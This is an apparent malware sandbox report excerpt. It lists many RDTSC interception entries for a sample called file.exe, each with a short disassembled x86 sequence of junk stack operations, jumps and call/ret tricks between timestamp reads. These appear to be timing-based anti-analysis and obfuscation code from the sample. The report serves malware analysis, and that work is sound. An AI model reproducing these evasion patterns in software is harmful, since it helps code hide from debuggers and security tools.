Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A97E second address: D3A9A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FB698BF2C46h 0x00000012 js 00007FB698BF2C46h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A9A2 second address: D3A9CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F2h 0x00000007 jmp 00007FB698CE01EEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A9CA second address: D3A9CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A9CE second address: D3A9E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB698CE01EAh 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FB698CE01E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D403D7 second address: D403EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698BF2C4Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D403EA second address: D403FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007FB698CE01E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3EF0F second address: D3EF13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F215 second address: D3F228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FB698CE01EEh 0x0000000b jg 00007FB698CE01E6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F228 second address: D3F23F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FB698BF2C46h 0x00000009 je 00007FB698BF2C46h 0x0000000f ja 00007FB698BF2C46h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F23F second address: D3F26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jno 00007FB698CE01F2h 0x0000000e jp 00007FB698CE01ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F26B second address: D3F26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F26F second address: D3F273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F273 second address: D3F27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F3CD second address: D3F3F6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB698CE01F7h 0x00000008 pop edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F3F6 second address: D3F3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F3FC second address: D3F415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB698CE01F0h 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F6D0 second address: D3F6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F6D8 second address: D3F6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB698CE01EDh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F6ED second address: D3F70A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 popad 0x0000000a jl 00007FB698BF2C5Ch 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 je 00007FB698BF2C46h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F871 second address: D3F8B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b jne 00007FB698CE01E6h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 jmp 00007FB698CE01F0h 0x00000019 jns 00007FB698CE01ECh 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 pop eax 0x00000023 jp 00007FB698CE01E6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F8B2 second address: D3F8B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3F9E7 second address: D3FA15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F8h 0x00000007 jmp 00007FB698CE01EDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3EC30 second address: D3EC34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3EC34 second address: D3EC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3EC3A second address: D3EC54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FB698BF2C54h 0x0000000c jmp 00007FB698BF2C4Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3EC54 second address: D3EC59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCD23C second address: CCD25E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FB698BF2C46h 0x00000009 jmp 00007FB698BF2C51h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCD25E second address: CCD280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB698CE01E6h 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007FB698CE01F3h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D48080 second address: D4808A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4808A second address: D4808E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D483A4 second address: D483CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698BF2C4Ch 0x00000009 popad 0x0000000a push edx 0x0000000b js 00007FB698BF2C46h 0x00000011 pop edx 0x00000012 push ebx 0x00000013 jl 00007FB698BF2C46h 0x00000019 pop ebx 0x0000001a popad 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D483CB second address: D483D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB698CE01E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D483D5 second address: D4840C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FB698BF2C57h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4840C second address: D48421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698CE01EFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D486FA second address: D486FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D48994 second address: D489A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB698CE01E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D489A3 second address: D489A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4DD9E second address: D4DDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 jl 00007FB698CE01E8h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4DDAD second address: D4DDB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4DDB2 second address: D4DDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FB698CE01F2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4DDC5 second address: D4DDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB698BF2C46h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0D9A8 second address: CEE183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FB698CE01E8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 sbb di, A704h 0x00000029 mov ecx, dword ptr [ebp+122D3689h] 0x0000002f lea eax, dword ptr [ebp+12482755h] 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007FB698CE01E8h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 jmp 00007FB698CE01F8h 0x00000057 jmp 00007FB698CE01F1h 0x0000005c popad 0x0000005d jg 00007FB698CE01F2h 0x00000063 popad 0x00000064 mov dword ptr [esp], eax 0x00000067 mov edi, dword ptr [ebp+122D369Dh] 0x0000006d movsx ecx, ax 0x00000070 call dword ptr [ebp+122D2FE2h] 0x00000076 push eax 0x00000077 push edx 0x00000078 jns 00007FB698CE01EAh 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0DFAE second address: D0DFC4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB698BF2C48h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0DFC4 second address: D0DFF8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB698CE01ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jmp 00007FB698CE01F2h 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pushad 0x0000001f popad 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0DFF8 second address: D0E002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FB698BF2C46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E002 second address: D0E006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E006 second address: D0E02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov di, bx 0x0000000d stc 0x0000000e popad 0x0000000f jmp 00007FB698BF2C4Bh 0x00000014 push 39A55F14h 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007FB698BF2C4Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E02F second address: D0E033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E033 second address: D0E03D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FB698BF2C46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E17D second address: D0E181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E181 second address: D0E1BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c mov di, si 0x0000000f mov edi, dword ptr [ebp+122D3911h] 0x00000015 nop 0x00000016 push edx 0x00000017 je 00007FB698BF2C4Ch 0x0000001d jbe 00007FB698BF2C46h 0x00000023 pop edx 0x00000024 push eax 0x00000025 push edi 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 pop esi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E2D8 second address: D0E2DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E365 second address: D0E36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E36B second address: D0E379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007FB698CE01E6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E478 second address: D0E4B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+1245129Fh], eax 0x00000011 push 00000004h 0x00000013 je 00007FB698BF2C4Ch 0x00000019 mov dword ptr [ebp+122D1A71h], esi 0x0000001f nop 0x00000020 push edi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FB698BF2C56h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E7F5 second address: D0E7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0E7F9 second address: D0E803 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB698BF2C46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0EB8D second address: D0EB97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FB698CE01E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0EB97 second address: D0EC39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 jmp 00007FB698BF2C58h 0x00000018 popad 0x00000019 nop 0x0000001a jmp 00007FB698BF2C4Fh 0x0000001f lea eax, dword ptr [ebp+12482799h] 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 call 00007FB698BF2C48h 0x0000002d pop edx 0x0000002e mov dword ptr [esp+04h], edx 0x00000032 add dword ptr [esp+04h], 00000019h 0x0000003a inc edx 0x0000003b push edx 0x0000003c ret 0x0000003d pop edx 0x0000003e ret 0x0000003f pushad 0x00000040 jmp 00007FB698BF2C50h 0x00000045 mov dword ptr [ebp+122D1A63h], esi 0x0000004b popad 0x0000004c mov cx, 37AFh 0x00000050 mov edx, 57ECAAB2h 0x00000055 nop 0x00000056 push eax 0x00000057 push edx 0x00000058 jnc 00007FB698BF2C4Ch 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4D02C second address: D4D036 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4D036 second address: D4D03A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4D637 second address: D4D63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D4D791 second address: D4D7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698BF2C50h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jmp 00007FB698BF2C51h 0x00000011 popad 0x00000012 jo 00007FB698BF2C58h 0x00000018 je 00007FB698BF2C52h 0x0000001e js 00007FB698BF2C46h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D51EE1 second address: D51EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jp 00007FB698CE01E6h 0x0000000b pop esi 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB698CE01EDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D53D84 second address: D53DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB698BF2C46h 0x0000000a pushad 0x0000000b popad 0x0000000c jns 00007FB698BF2C46h 0x00000012 popad 0x00000013 jmp 00007FB698BF2C55h 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D53DAF second address: D53DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FB698CE01EDh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jp 00007FB698CE01E6h 0x00000014 jmp 00007FB698CE01EFh 0x00000019 jmp 00007FB698CE01EBh 0x0000001e popad 0x0000001f jmp 00007FB698CE01EBh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D53DF1 second address: D53E0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB698BF2C53h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D53E0A second address: D53E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D53F1D second address: D53F24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D568A3 second address: D568A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D568A8 second address: D568CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C58h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jg 00007FB698BF2C46h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D56A07 second address: D56A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D56A0C second address: D56A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D56A13 second address: D56A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FB698CE01EEh 0x00000011 pushad 0x00000012 jp 00007FB698CE01E6h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D56A38 second address: D56A57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB698BF2C59h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D56A57 second address: D56A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D56D0F second address: D56D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D56D17 second address: D56D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D56D1B second address: D56D21 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D59C93 second address: D59C98 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D59C98 second address: D59C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D59C9E second address: D59CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FB698CE01EAh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D59CB0 second address: D59CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D59CC0 second address: D59CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6013B second address: D60141 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D603DC second address: D603E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
